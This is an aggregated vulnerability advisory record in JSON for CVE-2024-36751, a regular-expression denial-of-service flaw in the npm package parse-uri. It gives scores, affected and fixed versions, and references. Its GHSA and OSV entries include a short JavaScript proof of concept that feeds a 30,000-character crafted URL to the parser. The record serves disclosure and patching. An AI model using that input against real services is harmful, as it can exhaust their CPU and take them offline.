{"id":"CVE-2024-36751","aliases":["CLSA-2026-1774916742","EUVD-2025-0108","GHSA-6fx8-h7jm-663j"],"status":"published","title":"parse-uri Regular expression Denial of Service (ReDoS)","description":"An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.","severity":{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"adp","from":"cve"},"epss":{"day":"2026-11-08","score":0.00544,"percentile":0.45933,"model":"v2026.06.15"},"facts":{"in_kev":false,"known_exploited":false,"public_exploit":false,"fix_available":true},"cwes":["CWE-1333","CWE-185"],"published":"2025-01-15T00:00:00Z","modified":"2026-10-15T09:47:49Z","fixes":[{"ecosystem":"npm","package":"parseuri","fixed_in":["2.0.0"],"sources":["ghsa"]},{"ecosystem":"TuxCare:npm","package":"parseuri","fixed_in":["0.0.6-tuxcare.1"],"sources":["osv"]}],"affected":[{"source":"ghsa","ecosystem":"npm","package":"parse-uri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"last_affected":"1.0.9"}]}]},{"source":"ghsa","ecosystem":"npm","package":"parseuri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0"},{"fixed":"2.0.0"}]}]},{"source":"osv","ecosystem":"TuxCare:npm","package":"parseuri","ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.0.6-tuxcare.0"},{"fixed":"0.0.6-tuxcare.1"}]}],"versions":["0.0.6"]},{"source":"osv","ecosystem":"npm","package":"parse-uri","ranges":[{"type":"SEMVER","events":[{"introduced":"0"},{"last_affected":"1.0.9"}]}]},{"source":"osv","ecosystem":"npm","package":"parseuri","ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}]}],"references":[{"url":"https://github.com/Kikobeats/parse-uri/issues/14","tags":["web"]},{"url":"https://gist.github.com/6en6ar/78168687da94e8aa2e0357f2456b0233","tags":["web"]},{"url":"https://nvd.nist.gov/vuln/detail/CVE-2024-36751","tags":["advisory"]},{"url":"https://github.com/advisories/GHSA-6fx8-h7jm-663j"}],"sources":{"cve":[{"id":"CVE-2024-36751","description":"An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.","status":"published","published":"2025-01-15T00:00:00Z","modified":"2025-02-03T14:49:11.947Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"adp"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:34:14.649724Z"}],"euvd":[{"id":"EUVD-2025-0108","description":"An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.","status":"published","published":"2025-01-15T00:00:00Z","modified":"2025-02-03T14:49:11Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium"}],"updated_at":"2026-11-03T00:04:07.282625Z"}],"ghsa":[{"id":"GHSA-6fx8-h7jm-663j","title":"parse-uri Regular expression Denial of Service (ReDoS)","description":"An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.\n ## PoC\n```js\nasync function exploit() {\n    const parseuri = require(\"parse-uri\");\n    // This input is designed to cause excessive backtracking in the regex\n    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';\n    const result = await parseuri(craftedInput);\n    }\nawait exploit();\n```","status":"published","published":"2025-01-16T00:31:22Z","modified":"2025-09-03T12:56:48Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-185","CWE-1333"],"updated_at":"2026-11-02T14:38:55.953734Z"}],"nvd":[{"id":"CVE-2024-36751","description":"An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.","status":"published","published":"2025-01-15T22:15:26.4Z","modified":"2026-06-17T07:37:09.667Z","cvss":[{"version":"3.1","score":6.5,"vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H","level":"medium","assessor":"secondary"}],"cwes":["CWE-1333"],"updated_at":"2026-11-02T14:10:42.895329Z"}],"osv":[{"id":"GHSA-6fx8-h7jm-663j","title":"parse-uri Regular expression Denial of Service (ReDoS)","description":"An issue in parse-uri v1.0.9 allows attackers to cause a Regular expression Denial of Service (ReDoS) via a crafted URL.\n ## PoC\n```js\nasync function exploit() {\n    const parseuri = require(\"parse-uri\");\n    // This input is designed to cause excessive backtracking in the regex\n    const craftedInput = 'http://example.com/' + 'a'.repeat(30000) + '?key=value';\n    const result = await parseuri(craftedInput);\n    }\nawait exploit();\n```","status":"published","published":"2025-01-16T00:31:22Z","modified":"2025-09-03T12:56:48Z","cvss":[{"version":"4.0","score":6.9,"vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","level":"medium"}],"cwes":["CWE-1333","CWE-185"],"updated_at":"2026-11-02T15:46:39.618611Z"},{"id":"CLSA-2026-1774916742","title":"TuxCare security update for parseuri (1 CVE)","description":"TuxCare rebuilt parseuri to address 1 CVE. Fixed in 0.0.6-tuxcare.1.","status":"published","published":"2026-08-04T14:52:17Z","modified":"2026-10-15T09:47:49.381499856Z","updated_at":"2026-11-02T15:43:43.621843Z"}]}}